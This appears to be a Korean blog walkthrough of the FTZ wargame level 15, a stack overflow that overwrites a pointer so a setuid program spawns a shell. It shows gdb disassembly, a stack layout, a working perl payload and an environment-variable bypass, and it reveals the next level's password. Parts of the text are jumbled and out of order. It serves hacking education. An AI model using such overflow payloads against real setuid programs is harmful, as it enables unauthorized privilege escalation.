■ Level15 -> Level16
■ 목적
루틴 분기 키값에 대한 이해 2
메모리 값을 바꾸는 것과 메모리에서 가리키는 주소의 값을 바꾸는 것에 대한 차이점 이해
■ Level15 풀이
level8 사용자 로그인
-> ID/PASS : level15/guess what
$ cat hint main() { int crap; /* crack 변수 선언 */ int *check; /* *check 포인터 변수 선언 */ char buf[20]; /* buf[20] 배열 선언 */ fgets(buf,45,stdin); /* 키보드로 입력받은 문자열을 buf[20]에 할당 */ if (*check==0xdeadbeef) /* check 포인터가 0xdeadbeef 문자열을 가리키는지 확인 */ { setreuid(3096,3096); /* level15 권한 설정 */ system("/bin/sh"); /* 배시쉘 실행 */ } } 14레벨과 비슷한 소스인데 여기서는 check를 포인터 변수로 선언했다. 메모리 주소가 일정하지 않고 매번 바뀐다. 포인터를 찾조해서 그 값이 | deadbeef여야 쉘을 얻는다. 즉 deadbeef를 가르키고 있는 주소의 값을 넣어주면 된다. [참고] int *check 선언된 이상 *check에 어떤 값이 들어가든지 그 값은 메모리의 주소값으로 인식된다. 그래서 *check라는 변수를 참조하여 화면에 출력하라고 한다면, 단순히 *check에 들어가있는 메모리의 주소값 자체를 화면에 출력하지 않고, 그 주소에 해당하는 메모리의 내용을 화면에 출력하게 된다. [참고] if (*check==0xdeadbeef) 이해를 돕기위해 임의소스를 코딩한다. $ vi distance.c main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); } printf("Input is : %s\n &buf : %p\n &check : %p\n &crap : %p\n", buf, buf, &c heck, &crap); } $ gcc -o distance distance.c $ ./distance Input is : AAAA &check(0xbfffe1c8) - &buf(0xbfffe1a0) = 위 힌트를 참고해서 메모리의 스택 그림을 그린다. 다음은 디스어셈블러 과정을 통해 분석한다. $ gdb -q attackme 전 레벨과 동일한 구조형태를 보이고 있다. 56 bytes = 20 bytest + 4bytes + 4bytes + (?) = 28 + (?) -> 따라서 dummy 공간이 28 bytes 존재한다. -> ffffffc8은 16byte이기 때문에 crap 다음에 오는 dummy는 8byte가 된다. -------------------------------------------------------------------- 디스어셈블러를 다시한번 자세히 분석한다. $ dgb -q attackme ............. (gdb) b *0x080484b0 Breakpoint 1 at 0x80484b0 (gdb) run Starting program: /home/level15/tmp/attackme AAAA Breakpoint 1, 0x080484b0 in main () (gdb) x/16x main 0x8048490 <main>: 0x83e58955 0xec8338ec 0x6435ff04 0x6a080496 0x80484a0 <main+16>: 0xc8458d2d 0xfeb6e850 0xc483ffff 0xf0458b10 0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18 0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310 main + 32 지점에 브포를 걸어주고 check 포인터 변수의 위치를 알아내야 한다. 이 과정에서 cmpl부터 deadbeef 가 들어있는 주소 값을 찾는다 x/x main+32 x/x main+33 .... 0xdeabeef가 들어있는 주소를 찾고 주소 값을 넣어서 진행한다. deadbeef가 들어있는 주소값 b0(40byte) 에서 32byte 다음에 주소값이 나왔다. $ (perl -e 'print "A"x40, "\xb2\x84\x04\x08"';cat)|/home/level15/attackme 쉽게 설명하면 buf에 0xdeadbeef를 넣고 check가 buf를 가리키도록하면 그 주소값이 들어가서 문제를 풀 수 있다. 결론적으로 ebp의 주소를 찾으면 되는 것이다.(리턴 어드레스 값) ■ Exploit code(공격용 코드) 위 문제를 환경변수로 우회하는 방법 SHELLCODE라는 환경변수 0xdeadbeef를 넣고 값이 들어있는 것을 확인 #include <string.h> printf("%p\n",getenv(argv[1])); 결과값 출력 [실행해도 안될때]
포인터변수를 말한다. 포인터변수란 메모리의 주소값을 가지는 변수이다. 그래서 포인터변수로
만약에 *check안에 들어있는 메모리주소에 해당되는 메모리의 내용이 0xdeadbeef와 같다면.
&buf : 0xbffff2a0
&check : 0xbffff2c8
&crap : 0xbffff2cc
&crap(0xbfffe1cc) - &check(0xbfffe1c8) =
Dump of assembler code for function main:
0x08048490 <main+0>: push %ebp
0x08048491 <main+1>: mov %esp,%ebp
0x08048493 <main+3>: sub $0x38,%esp 56 bytes
0x08048496 <main+6>: sub $0x4,%esp
0x08048499 <main+9>: pushl 0x8049664
0x0804849f <main+15>: push $0x2d
0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax 45 byte
0x080484a4 <main+20>: push %eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add $0x10,%esp
0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax 16 byte
0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub $0x8,%esp
0x080484bb <main+43>: push $0xc18
0x080484c0 <main+48>: push $0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add $0x10,%esp
0x080484cd <main+61>: sub $0xc,%esp
0x080484d0 <main+64>: push $0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add $0x10,%esp
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
20 20 4 4 8 4 4
char buf[20] dummy check crap dummy SFP RET
--------------------------------------------------------------------
End of assembler dump.
x/x main+34
x/x main+35
uid-3096(level16) gid=3095(level15) groups=3095(level15)
my-pass
Level16 Password is "about to cause mass".
$ export SHELLCODE=`python -c 'print"\xef\xbe\xad\xde"'`
$ echo $SHELLCODE
int main(int argc, char *argv[]) {
0xbffffc3a
실행하는 파일의 길이에 따라 시작주소가 바뀌어서
환경변수까지 계속 바뀌어져 버린다.
그래서 몇번의 시행창오후 시작주소는 한문자씩 줄어들때 마다 2byte증가하고
사용하는 ./attackme에서는 환경변수가 0xbffffc3e에 있다는 사실을 알아냈다.
바뀐 환경변수를 코드에 넣으면 해결할 수 있다.
buf주소 알아내는 방법
main()
{
int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
printf("Input is : %s\n &buf : %p\n &check : %p\n &crap : %p\n", buf, buf, &c
heck, &crap);
}
main()
{
int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
printf("bufadress : %x\n",&buf); <-- buf의 주소를 출력하는 라인
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
'Learning > └◆Reversing' 카테고리의 다른 글
reverse engineering / assembly language / computer structure (0) | 2017.02.01 |
---|---|
14_Level14 -> Level15[FTZ] 루틴 분기 키값의 이해 (0) | 2017.01.30 |
13_Level13 -> Level14[FTZ] 스택가드(스택 쉴드) 알아보기 (0) | 2017.01.30 |
12_Level12 -> Level13[FTZ] gets함수의 취약점(Stack Buffer Overflow) (0) | 2017.01.30 |